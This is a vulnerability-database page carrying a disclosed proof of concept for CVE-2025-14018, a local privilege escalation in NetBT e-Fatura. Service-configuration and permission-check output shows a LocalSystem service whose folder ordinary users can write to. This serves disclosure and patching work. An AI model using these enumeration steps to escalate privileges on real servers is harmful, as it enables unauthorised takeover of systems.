Vulners
Lucene search
NetBT e-Fatura - Privilege Escalation
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | Exploit for CVE-2025-14018 | 11 Apr 202601:57 | – | githubexploit |
 | CVE-2025-14018 | 22 Dec 202513:46 | – | attackerkb |
 | CVE-2025-14018 | 22 Dec 202515:33 | – | circl |
 | NetBT Consulting Services E-Fatura 代码问题漏洞 | 22 Dec 202500:00 | – | cnnvd |
 | CVE-2025-14018 | 22 Dec 202513:46 | – | cve |
 | CVE-2025-14018 Unquoted Service Path in NetBT Consultancy's e-Fatura | 22 Dec 202513:46 | – | cvelist |
 | EUVD-2025-204713 | 22 Dec 202513:46 | – | euvd |
 | CVE-2025-14018 | 22 Dec 202514:15 | – | nvd |
 | 📄 NetBT e-Fatura 2024 Unquoted Service Path | 10 Apr 202600:00 | – | packetstorm |
 | PT-2025-52649 | 22 Dec 202500:00 | – | ptsecurity |
10
# Exploit Title: NetBT e-Fatura - Privilege Escalation
# Author: Seccops
# Discovery Date: 2025-10-03
# Vendor: https://net-bt.com.tr/e-fatura/
# Tested Version: 2024
# Tested on OS: Microsoft Windows Server 2019 DC
# Vulnerability Type: CWE-428 Unquoted Search Path or Element
# CVE: CVE-2025-14018
Note: Thanks "Levent Sungu" for providing the testing environment.
====================
Description & Impact
====================
This vulnerability allows an unauthorized local user to execute arbitrary code with high privileges on the system.
================
Proof of Concept
================
C:\Users\efatura>sc qc InboxProcessor
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: InboxProcessor
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : InboxProcessor
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\efatura\Desktop>accesschk.exe /accepteula -uwdq "C:\inetpub\wwwroot\InboxProcessor\"
Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\inetpub\wwwroot\InboxProcessor
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\AdministratorsData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Apr 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.17.3
EPSS0.00204
SSVC